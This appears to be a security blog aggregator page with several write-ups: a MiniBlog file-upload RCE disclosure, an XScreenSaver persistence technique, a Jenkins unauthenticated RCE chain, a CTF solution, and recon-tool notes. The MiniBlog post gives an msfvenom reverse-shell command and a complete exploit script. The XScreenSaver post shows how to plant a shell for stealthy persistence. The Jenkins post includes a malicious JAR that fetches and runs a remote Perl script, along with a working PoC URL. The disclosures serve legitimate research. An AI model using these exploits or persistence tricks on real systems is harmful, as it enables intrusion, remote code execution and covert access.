Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

MiniBlog Remote Code Execution

16 March 2019 at 00:00

During a review of the MiniBlog project, a Windows based blogging package, I observed an interesting piece of functionality. With most WYSIWYG editors that support images, it’s common to see the images embedded in the markup that is generated, rather than uploaded to the web server. The images are embedded into the markup by using Data URLs in the img elements.

An example of this can be seen in the inspector of the screenshot below:

At this point, nothing looked particularly strange. However, upon saving the post and inspecting the same image again, a data URL was no longer being used:

As can be seen in the above screenshot, instead of an img element that reads:

<img src="data:image/jpeg;base64,BASE64_CONTENT">

There was an element that had a src attribute referring to a file on disk:

<img src="/posts/files/03d21a01-d1f7-4e09-a6f8-0e67f26eb50b.jpeg" alt="">

Examining the code reveals that the post is scanned for data URLs which are subsequently decoded to disk and the corresponding pieces of markup updated to point to the newly created files:

private void SaveFilesToDisk(Post post)
{
  foreach (Match match in Regex.Matches(post.Content, "(src|href)=\"(data:([^\"]+))\"(>.*?</a>)?"))
  {
    string extension = string.Empty;
    string filename = string.Empty;

    // Image
    if (match.Groups[1].Value == "src")
    {
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z]+);base64").Groups[2].Value;
    }
    // Other file type
    else
    {
      // Entire filename
      extension = Regex.Match(match.Value, "data:([^/]+)/([a-z0-9+-.]+);base64.*\">(.*)</a>").Groups[3].Value;
    }

    byte[] bytes = ConvertToBytes(match.Groups[2].Value);
    string path = Blog.SaveFileToDisk(bytes, extension);

    string value = string.Format("src=\"{0}\" alt=\"\" ", path);

    if (match.Groups[1].Value == "href")
        value = string.Format("href=\"{0}\"", path);

    Match m = Regex.Match(match.Value, "(src|href)=\"(data:([^\"]+))\"");
    post.Content = post.Content.Replace(m.Value, value);
  }
}

Due to the lack of validation in this method, it is possible to exploit it in order to upload ASPX files and gain remote code execution.

Crafting a Payload

In the SaveFilesToDisk method, there are regular expressions that extract:

  • The MIME type
  • The base64 content

As MIME types will be in the form of image/gif and image/jpeg, the software uses the latter half of the MIME type as the file extension to be used. With this in mind, we can manually exploit this by creating a new post, switching the editor to markup mode (last icon in the toolbar) and including an img element with a MIME type in the data URL that ends in aspx:

In the above screenshot, I generated the base64 data by creating an ASPX shell using msfvenom and encoding with base64:

$ msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread -f aspx LHOST=192.168.194.141 LPORT=4444 -o shell_no_encoding.aspx
$ base64 -w0 shell_no_encoding.aspx > shell.aspx

With netcat listening for incoming connections on port 4444, publishing this post will instantly return a shell once the browser redirects to the new post:

When examining the post that the browser redirected to after clicking the Save button, we can see that the path to the ASPX file is disclosed in the src attribute of the img element:

The same vulnerability was also identified within the Miniblog.Core project with the slight difference that the filename to be used can be specified in the data-filename attribute of the img element as opposed to using the MIME type to determine the file extension.

Disclosure Timeline

  • 2019-03-15: Vulnerability found, patch created and CVEs requested
  • 2019-03-15: Reach out to vendor to begin disclosure
  • 2019-03-16: CVE-2019-9842 and CVE-2019-9845 assigned to the MiniBlog and MiniBlog.Core vulnerabilities respectively
  • 2019-03-16: Discus with vendor and provide patch
  • 2019-03-16: Patch published to GitHub for both projects

CVSS v3 Vector

AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C

Proof of Concept Exploit (CVE-2019-9842)

import base64
import re
import requests
import os
import sys
import string
import random

if len(sys.argv) < 5:
    print 'Usage: python {file} [base url] [username] [password] [path to payload]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2]
password = sys.argv[3]
url = sys.argv[1]
payload_path = sys.argv[4]
extension = os.path.splitext(payload_path)[1][1:]

def random_string(length):
    return ''.join(random.choice(string.ascii_letters) for m in xrange(length))

def request_verification_code(path, cookies = {}):
    r = requests.get(url + path, cookies = cookies)
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', r.text)

    if m is None:
        print '\033[1;31;40m[!]\033[0m Failed to retrieve verification token'
        sys.exit(1)

    token = m.group(1)
    cookie_token = r.cookies.get('__RequestVerificationToken')

    return [token, cookie_token]


payload = None
with open(payload_path, 'rb') as payload_file:
    payload = base64.b64encode(payload_file.read())

# Note: login_token[1] must be sent with every request as a cookie.
login_token = request_verification_code('/views/login.cshtml?ReturnUrl=/')
print '\033[1;32;40m[+]\033[0m Retrieved login token'

login_res = requests.post(url + '/views/login.cshtml?ReturnUrl=/', allow_redirects = False, data = {
    'username': username,
    'password': password,
    '__RequestVerificationToken': login_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1]
})

session_cookie = login_res.cookies.get('miniblog')
if session_cookie is None:
    print '\033[1;31;40m[!]\033[0m Failed to authenticate'
    sys.exit(1)

print '\033[1;32;40m[+]\033[0m Authenticated as {user}'.format(user = username)

post_token = request_verification_code('/post/new', {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

print '\033[1;32;40m[+]\033[0m Retrieved new post token'

post_res = requests.post(url + '/post.ashx?mode=save', data = {
    'id': random_string(16),
    'isPublished': True,
    'title': random_string(8),
    'excerpt': '',
    'content': '<img src="data:image/{ext};base64,{payload}" />'.format(ext = extension, payload = payload),
    'categories': '',
    '__RequestVerificationToken': post_token[0]
}, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})

post_url = post_res.text
post_res = requests.get(url + post_url, cookies = {
    '__RequestVerificationToken': login_token[1],
    'miniblog': session_cookie
})
uploaded = True
payload_url = None
m = re.search(r'img src="?(\/posts\/files\/(.+?)\.' + extension + ')"?', post_res.text)

if m is None:
    print '\033[1;31;40m[!]\033[0m Could not find the uploaded payload location'
    uploaded = False

if uploaded:
    payload_url = m.group(1)
    print '\033[1;32;40m[+]\033[0m Uploaded payload to {url}'.format(url = payload_url)

article_id = None  
m = re.search(r'article class="?post"? data\-id="?([a-zA-Z0-9\-]+)"?', post_res.text)
if m is None:
    print '\033[1;31;40m[!]\033[0m Could not determine article ID of new post. Automatic clean up is not possible.'
else:
    article_id = m.group(1)

if article_id is not None:
    m = re.search(r'name="?__RequestVerificationToken"?.+?value="?([a-zA-Z0-9\-_]+)"?', post_res.text)
    delete_token = m.group(1)
    delete_res = requests.post(url + '/post.ashx?mode=delete', data = {
        'id': article_id,
        '__RequestVerificationToken': delete_token
    }, cookies = {
        '__RequestVerificationToken': login_token[1],
        'miniblog': session_cookie
    })

    if delete_res.status_code == 200:
        print '\033[1;32;40m[+]\033[0m Deleted temporary post'
    else:
        print '\033[1;31;40m[!]\033[0m Failed to automatically cleanup temporary post'

try:
    if uploaded:
        print '\033[1;32;40m[+]\033[0m Executing payload...'
        requests.get(url + payload_url)
except:
    sys.exit()

MouseJack: From Mouse to Shell – Part 2

By: JW
10 March 2019 at 20:00
This is a continuation of Part 1 which can be found here. New/Fixed Mice Since the last blog post, I’ve done some additional testing and it looks like most of the newer wireless mice are not vulnerable to MouseJack. I tested the best-selling wireless mouse on Amazon (VicTsing MM057), Amazon’s choice (AmazonBasics), and one of...

MouseJack: From Mouse to Shell – Part 1

By: JW
4 March 2019 at 00:25
What is MouseJack? MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice. These peripherals are ‘connected’ to a host computer using a radio transceiver, commonly a small USB dongle. Since the connection is wireless, and mouse movements and keystrokes are sent over the air, it is possible...

Updates to Chomp Scan

3 March 2019 at 16:20

Updates To Chomp Scan

I’ve been pretty busy working on updates to Chomp Scan. Currently it is at version 4.1. I’ve added new tools, an install script, a new scanning phase, a CLI mode, plus bug fixes and more.

What’s Changed

Quite a bit! Here’s a list:

New CLI

I’ve added a fully-functional CLI interface to Chomp Scan. You can select your scanning phases, wordlists, output directory, and more. See -h for help and the full range of options and flags.

Install Script

I’ve created an installation script that will install all dependencies and install Golang. It supports Debian 9, Ubuntu 18.04, and Kali. Simply run the installer.sh script, source ~/.profile, and Chomp Scan is ready to run.

New Scanning Phase

I’ve added a new scanning phase: Information Gathering. Like the others, it is optional, consisting of subjack, bfac, whatweb, wafw00f, and nikto.

New Tools: dirsearch and wafw00f

Upon request, I’ve added dirsearch to the Content Discovery phase. Currently it uses php, asp, and aspx as file extensions. I’ve also added wafw00f to the Information Gathering phase.

Output Files

There are now three total output files that result from Chomp Scan. They are all_discovered_ips.txt, all_discovered_domains.txt, and all_resolved_domains.txt. The first two are simply lists of all the unique IPs and domains that were found as a result of all the tools that Chomp Scan runs. Not all maybe relevant, as some domains may not resolve, some IPs may point to CDNs or 3rd parties, etc. They are included for completeness, and the domains especially are useful for keeping an eye on in case they become resolvable in the future.

The third output file, all_resolved_domains.txt, is new, and the most important. It contains all the domains that resolve to an IP address, courtesy of massdns. This list is now passed to the Content Discovery and Information Gathering phases. As the file only contains valid resolvable domains, false positive are reduced and scan time is shortened.

Persistent Code Execution via XScreenSaver

3 March 2019 at 00:00

After successfully gaining remote access to a host, acquiring some form of persistence is usually on the cards in case of network problems, system reboots etc. There are many ways to do this but one way I discovered recently, I thought was quite discreet in comparison to other methods (editing shell rc files, crontabs etc.).

The method I came across was to modify the configuration file of XScreenSaver, a very common screensaver package for Linux, to execute a shell. [mis]Using XScreenSaver offers a couple of benefits:

  • Users will rarely edit this file, meaning there is less chance of the shell being noticed
  • The screen is almost guaranteed to blank on a regular basis, resulting in the shell executing

To demonstrate this, I have setup a Ubuntu 18.10 host running XScreenSaver 5.42 and have a remote shell to it.

Identifying XScreenSaver Presence & Configuration

To determine if XScreenSaver is installed, The configuration file for XScreenSaver can be found in a user’s home directory and is named .xscreensaver:

meterpreter > ls -S xscreensaver
Listing: /home/rastating
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100664/rw-rw-r--  8804  fil   2019-03-07 21:49:13 +0000  .xscreensaver

If the configuration file is missing, it does not mean that XScreenSaver is not available, but that the user has not configured their screensaver preferences. In which case, you can create a fresh configuration file and drop it in place.

As there are packages readily available to install it, it is possible to use the system’s package manager to verify if it is installed. For example, in Debian / Ubuntu, you can use dpkg to verify:

$ dpkg -s xscreensaver | grep -i status
Status: install ok installed

If it has been built from source, the presence of the following binaries would also suggest it is installed:

  • xscreensaver
  • xscreensaver-command
  • xscreensaver-demo
  • xscreensaver-getimage
  • xscreensaver-getimage-file
  • xscreensaver-getimage-video
  • xscreensaver-gl-helper
  • xscreensaver-text

In this case, I had selected a screensaver to use and thus the configuration file existed. Examining the configuration file reveal three key pieces of information:

  • The timeout value: how long the session must remain inactive before the screensaver is displayed
  • The mode: whether or not a single screensaver is used, or whether random screensavers are chosen each time
  • The selected screensaver

As can be seen in the below snippet of the configuration file, the timeout value is set to 0:01:00, meaning the screensaver will run after one minute of inactivity:

# XScreenSaver Preferences File
# Written by xscreensaver-demo 5.42 for rastating on Thu Mar  7 21:49:13 2019.
# https://www.jwz.org/xscreensaver/

timeout:        0:01:00
cycle:          0:10:00
lock:           False
lockTimeout:    0:00:00
passwdTimeout:  0:00:30

Moving a bit further down the file, we can see the mode setting is one which indicates that a single screensaver has been selected. We can also see the selected setting, which indicates the selected screensaver is the one found at index position 2 of the programs array. As the array starts at 0, this means that in this instance, the attraction screensaver has been selected:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root                            \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

Adding a Shell To The Configuration File

Looking at the programs array of the configuration file, you may have figured out that these strings aren’t just the names of the screensavers that are available, but the base commands that will be executed. In XScreenSaver, each screensaver is a separate binary that when executed will display the fullscreen screensaver.

In the configuration previously shown, when the screen blanks, it would shell out the command:

/usr/lib/xscreensaver/attraction -root

With this in mind, we can inject a command at the end of the base command in order to launch our shell alongside the screensaver. As I had a shell located in /home/rastating/.local/share/shell.elf, I modified the .xscreensaver to launch this. The previous snippet of the configuration file now looks like this:

mode:         one
selected:     2

textMode:     url
textLiteral:  XScreenSaver
textFile:
textProgram:  fortune
textURL:      http://feeds.feedburner.com/ubuntu-news

programs:                                                   \
              maze -root                                  \n\
- GL:         superquadrics -root                         \n\
              attraction -root |                            \
               (/home/rastating/.local/share/shell.elf&)  \n\
              blitspin -root                              \n\
              greynetic -root                             \n\

There are two things to note with this change. The first is that the \n\ that was at the end of the attraction line has been replaced with a single backslash. This indicates that the string is continuing onto a second line. The \n is the delimiter, and thus only appears at the end of the full command.

The second thing to note is the use of | and &, the shell is called in this way to ensure that it is launched alongside the attraction binary and that it does not halt execution by forking it into the background.

Once this change is made, XScreenSaver will automatically pick up the change, as per The Manual:

If you change a setting in the .xscreensaver file while xscreensaver is already running, it will notice this, and reload the file. (The file will be reloaded the next time the screen saver needs to take some action, such as blanking or unblanking the screen, or picking a new graphics mode.)

With this change in place, the shell will now be executed alongside the screensaver binary as can be seen in the video below:

MITRE STEM CTF: Nyanyanyan Writeup

23 February 2019 at 00:00

Upon connecting to the provided server via SSH, a Nyan Cat loop is instantly launched. There appears to be no way to escape this.

Specifying a command to be executed upon connecting via SSH results in a stream of whitespace being sent vs. the expected output.

Upon examining the animation, I was able to see some alphanumeric characters in white against the bright blue background. Within these characters, was the flag.

As the characters were too fast to be noted manually, it was necessary to redirect the outpuit of the SSH session to a file (ssh ctf@ip > nyan.txt). After doing this and inspecting the file, there is a significant amount of junk data. As the flag will only contain alphanumeric and special characters, running the following command will show only the individual characters that were displayed in white, and concatenate them together:

grep -oP "[a-zA-Z0-9.£$%^&*()_\-+=#~'@;:?><,.{}]" nyan.txt | tr '\n' ' '

Upon doing this, it is possible to see the flag within the output:

Introducing Chomp Scan

22 February 2019 at 16:20

Introducing Chomp Scan

Today I am introducing Chomp Scan, a pipeline of tools used to run various reconnaissance tools helpful for bug bounty hunting and penetration testing.

Why Chomp Scan?

The more I’ve gotten into bug bounty hunting, the more I’ve found times where managing all the different scanning tools, their flags, wordlists, and output directories becomes a chore. Recon is a vital aspect of bug hunting and penetration testing, but it’s also largely repetitive and tool-based, which makes it ripe for automation. I found I was contantly running the same tools with similar flags over and over, and frequently in the same order. That’s where Chomp Scan comes in.

I’ve written it so that all tool output is contained in a time-stamped directory, based on the target domain. This way it’s easy to go back and find certain outputs or grep for specific strings. As a pentester or bounty hunter, familiarity with your tools is essential, so I include all the flags, arguments, parameters, and wordlists that are being used with each command. If you need to make a change or tweak a flag, the code is (hopefully) commented well enough to make it easy to do.

A neat feature I’ve included is a list of words called interesting.txt. It contains a lot of words and subdomain fragments that are likely to be of interest to a pentester or bug hunter, such as test, dev, uat, internal, etc. Whenever a domain is discovered that contains one of these interesting words, it is flagged, displayed in the console, and added to a list. That list can then be focused on by later scanning stages, allowing you to identify and spend your valuable time on the most high value targets. Of course interesting.txt is customizable, so if you have a specific keyword or subdomain you’re looking for, you can add it.

Scanning Phases

Chomp Scan has 4 different phases of scanning. Each utilizes one or more tools, and can optionally be skipped for a shorter total scan runtime.

  • Subdomain Discovery (3 different sized wordlists)
  • Screenshots
  • Port Scanning
  • Content Discovery (4 different sized wordlists)

In The Future

Chomp Scan is still in active development, as I use it myself for bug hunting, so I intend to continue adding new features and tools as I come across them. New tool suggestions, feedback, and pull requests are all welcomed. Here is a short list of potential additions I’m considering:

  • A non-interactive mode, where certain defaults are selected so the scan can be run and forget
  • Adding a config file, for more granular customization of tools and parameters
  • A possible Python re-write, with a pure CLI mode (and maybe a Go re-write after that!)
  • The generation of an HTML report, similar to what aquatone provides

Tools

Chomp Scan depends on the following list of tools. Several are available in the default Kali Linux repos, and most are otherwise simple to install, especially if you already have a Go installation.

How To Get It

Visit the Chomp Scan Github repository for download and installation instructions.

alt text

alt text

alt text

alt text

Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!

18 February 2019 at 16:00

English Version 中文版本

嗨! 大家今天過得好嗎?

這篇文章是 Hacking Jenkins 系列的下集! 給那些還沒看過上篇文章的同學,可以訪問下面鏈結,補充一些基本知識及了解之前如何從 Jenkins 中的動態路由機制到串出各種不同的攻擊鏈!

如上篇文章所說,為了最大程度發揮漏洞的效果,想尋找一個代碼執行的漏洞可以與 ACL 繞過漏洞搭配,成為一個不用認證的遠端代碼執行! 不過在最初的嘗試中失敗了,由於動態路由機制的特性,Jenkins 在遇到一些危險操作時(如 Script Console)都會再次的檢查權限! 導致就算可以繞過最前面的 ACL 層依然無法做太多事情!

直到 Jenkins 在 2018-12-05 發佈的 Security Advisory 修復了前述我所回報的動態路由漏洞! 為了開始撰寫這份技術文章(Hacking Jenkins 系列文),我重新複習了一次當初進行代碼審查的筆記,當中對其中一個跳板(gadget)想到了一個不一樣的利用方式,因而有了這篇故事! 這也是近期我所寫過覺得比較有趣的漏洞之一,非常推薦可以仔細閱讀一下!


漏洞分析


要解釋這次的漏洞 CVE-2019-1003000 必須要從 Pipeline 開始講起! 大部分開發者會選擇 Jenkins 作為 CI/CD 伺服器的其中一個原因是因為 Jenkins 提供了一個很強大的 Pipeline 功能,使開發者可以方便的去撰寫一些 Build Script 以完成自動化的編譯、測試及發佈! 你可以想像 Pipeline 就是一個小小的微語言可以去對 Jenkins 進行操作(而實際上 Pipeline 是基於 Groovy 的一個 DSL)

為了檢查使用者所撰寫的 Pipeline Script 有沒有語法上的錯誤(Syntax Error),Jenkins 提供了一個介面給使用者檢查自己的 Pipeline! 這裡你可以想像一下,如果你是程式設計師,你要如何去完成這個功能呢? 你可以自己實現一個語法樹(AST, Abstract Syntax Tree)解析器去完成這件事,不過這太累了,最簡單的方式當然是套用現成的東西!

前面提到,Pipeline 是基於 Groovy 所實現的一個 DSL,所以 Pipeline 必定也遵守著 Groovy 的語法! 所以最簡單的方式是,只要 Groovy 可以成功解析(parse),那就代表這份 Pipeline 的語法一定是對的! Jenkins 實作檢查的程式碼約是下面這樣子:

public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

這裡使用了 GroovyClassLoader.parseClass(…) 去完成 Groovy 語法的解析! 值得注意的是,由於這只是一個 AST 的解析,在沒有執行 execute() 的方法前,任何危險的操作是不會被執行的,例如嘗試去解析這段 Groovy 代碼會發現其實什麼事都沒發生 :(

this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

從程式開發者的角度來看,Pipeline 可以操作 Jenkins 那一定很危險,因此要用嚴格的權限保護住! 但這只是一段簡單的語法錯誤檢查,而且呼叫到的地方很多,限制太嚴格的權限只會讓自己綁手綁腳的!

上面的觀點聽起來很合理,就只是一個 AST 的解析而且沒有任何 execute() 方法應該很安全,但恰巧這裡就成為了我們第一個入口點! 其實第一次看到這段代碼時,也想不出什麼利用方法就先跳過了,直到要開始撰寫技術文章重新溫習了一次,我想起了說不定 Meta-Programming 會有搞頭!


什麼是 Meta-Programming


首先我們來解釋一下什麼是 Meta-Programming!

Meta-Programming 是一種程式設計的思維! Meta-Programming 的精髓在於提供了一個抽象層次給開發者用另外一種思維去撰寫更高靈活度及更高開發效率的代碼。其實 Meta-Programming 並沒有一個很嚴謹的定義,例如使用程式語言編譯所留下的 Metadata 去動態的產生程式碼,或是把程式自身當成資料,透過編譯器(compiler)或是直譯器(interpreter)去撰寫代碼都可以被說是一種 Meta-Programming! 而其中的哲學其實非常廣泛甚至已經可以被當成程式語言的一個章節來獨立探討!

大部分的文章或是書籍在解釋 Meta-Programming 的時候通常會這樣解釋:

用程式碼(code)產生程式碼(code)

如果還是很難理解,你可以想像程式語言中的 eval(...) 其實就是一種廣義上的 Meta-Programming! 雖然不甚精確,但用這個比喻可以快速的理解 Meta-Programming! 其實就是用程式碼(eval 這個函數)去產生程式碼(eval 出來的函數)! 在程式開發上,Meta-Programming 也有著極其多的應用,例如:

  • C 語言中的 Macro
  • C++ 的 Template
  • Ruby (Ruby 本身就是一門將 Meta-Programming 發揮到極致的語言,甚至還有專門的書1, 書2)
  • Java 的 Annotation 註解
  • 各種 DSL(Domain Specific Language) 應用,例如 SinatraGradle

而當我們在談論 Meta-Programming 時,依照作用的範圍我們大致分成 (1)編譯時期(2)執行時期這兩種 Meta-Programming! 而我們今天的重點,就是在編譯時期的 Meta-Programming!

P.S. 我也不是一位 Programming Language 大師,如有不精確或者覺得教壞小朋友的地方再請多多包涵 <(_ _)>


如何利用


從前面的段落中我們發現 Jenkins 使用 parseClass(…) 去檢查語法錯誤,我們也想起了 Meta-Programming 可在編譯時期對程式碼做一些動態的操作! 設計一個編譯器(或解析器)是一件很麻煩的事情,裡面會有各種骯髒的實作或是奇怪的功能,所以一個很直覺的想法就是,是否可以透過編譯器一些副作用(Side Effect)去完成一些事情呢?

舉幾個淺顯易懂的例子,如 C 語言巨集擴展所造成的資源耗盡

#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

編譯器的資源耗盡(用 18 bytes 產生 16G 的執行檔)

int main[-1u]={1};

或是用編譯器來幫你算費式數列

template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

從組合語言的結果可以看出這些值在編譯期間就被計算好填充進去,而不是執行期間!

$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa <main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

更多的例子你可以參考 StackOverflow 上的 Build a Compiler Bomb 這篇文章!


首次嘗試


回到我們的漏洞利用上,Pipeline 是基於 Groovy 上的一個 DSL 實作,而 Groovy 剛好就是一門對於 Meta-Programming 非常友善的語言! 翻閱著 Grovvy 官方的 Meta-Programming 手冊 開始尋找各種可以利用的方法! 在 2.1.9 章「測試協助」這個段落發現了 @groovy.transform.ASTTest 這個註解,仔細觀察它的敘述:

@ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters:

什麼! 可以在 AST 上執行一個 assertion? 這不就是我們要的嗎? 趕緊先在本地寫個 Proof-of-Concept 嘗試是否可行:

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');
$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

幹,可以欸! 但代誌並不是憨人想的那麼簡單! 嘗試在遠端 Jenkins 重現時,出現了:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

真是黑人問號,森77,這到底是三小啦!!!

認真追了一下 root cause 才發現是 Pipeline Shared Groovy Libraries Plugin 這個插件在作怪! 為了方便使用者可重複使用在編寫 Pipeline 常用到的功能,Jenkins 提供了這個插件可在 Pipeline 中引入自定義的函式庫! Jenkins 會在所有 Pipeline 執行前引入這個函式庫,而在編譯時期的 classPath 中並沒有相對應的函式庫因而導致了這個錯誤!

想解決這個問題很簡單,到 Jenkins Plugin Manager 中將 Pipeline Shared Groovy Libraries Plugin 移除即可解決這個問題並執行任意代碼!

不過這絕對不是最佳解! 這個插件會隨著 Pipeline 被自動安裝,為了要成功利用這個漏洞還得先要求管理員把它移除實在太蠢了! 因此這條路只能先打住,繼續尋找下一個方法!


再次嘗試


繼續閱讀 Groovy Meta-Programming 手冊,我們發現了另一個有趣的註解 @Grab,關於 @Grab 手冊中並沒有詳細的描述,但使用 Google 我們發現了另一篇文章 - Dependency management with Grape!

原來 Grape(@Grab) 是一個 Groovy 內建的動態 JAR 相依性管理程式! 可讓開發者動態的引入不在 classPath 上的函式庫! Grape 的語法如下:

@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

配合 @grab 的註解,可讓 Groovy 在編譯時期自動引入不存在於 classPath 中的 JAR 檔! 但如果你的目的只是要在一個有執行 Pipeline 權限的帳號上繞過原有 Pipeline 的 Sandbox 的話,這其實就足夠了! 例如你可以參考 @adamyordan 所提供的 PoC,在已知使用者帳號與密碼及權限足夠的情況下,達到遠端代碼執行的效果!

但在沒有帳號密碼及 execute() 的方法下,這只是一個簡單的語法樹解析器,你甚至無法控制遠端伺服器上的檔案,所以該怎麼辦呢? 我們繼續研究下去,並發現了一個很有趣的註解叫做 @GrabResolver,用法如下:

@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

看到這個,聰明的你應該會很想把 root 改成惡意網址對吧! 我們來試試會怎麼樣吧!

this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')
11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

喔幹,真的會來存取欸! 到這裡我們已經確信了透過 Grape 可以讓 Jenkins 引入惡意的函式庫! 但下一個問題是,要如何執行代碼呢?


如何執行任意代碼?


在漏洞的利用中總是在研究如何從簡單的任意讀、任意寫到取得系統執行的權限! 從前面的例子中,我們已經可以透過 Grape 去寫入惡意的 JAR 檔到遠端伺服器,但要怎麼執行這個 JAR 檔呢? 這又是另一個問題!

跟進 Groovy 語言核心查看對於 Grape 的實作,我們知道網路層的抓取是透過 groovy.grape.GrapeIvy 這個類別來完成! 所以開始尋找實作中是否有任何可以執行代碼的機會! 其中,我們看到了一個有趣的方法 - processOtherServices(…):

void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

由於 JAR 檔案其實就是一個 ZIP 壓縮格式的子集,Grape 會檢查檔案中是否存在一些指定的入口點,其中一個 Runner 的入口點檢查引起了我們的興趣,持續跟進 processRunners(…) 的實作我們發現:

void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

這裡的 newInstance() 不就代表著可以呼叫到任意類別的 Constructor 嗎? 沒錯! 所以只需產生一個惡意的 JAR 檔,把要執行的類別全名放至 META-INF/services/org.codehaus.groovy.plugins.Runners 中即可呼叫指定類別的Constructor 去執行任意代碼! 完整的漏洞利用過程如下:

public class Orange {
    public Orange(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}
$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:

http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

影片:


後記


到此,我們已經可以完整的控制遠端伺服器! 透過 Meta-Programming 在語法樹解析時期去引入惡意的 JAR 檔,再透過 Java 的 Static Initializer 特性去執行任意指令! 雖然 Jenkins 有內建的 Groovy Sandbox(Script Security Plugin),但這個漏洞是在編譯階段而非執行階段,導致 Sandbox 毫無用武之處!

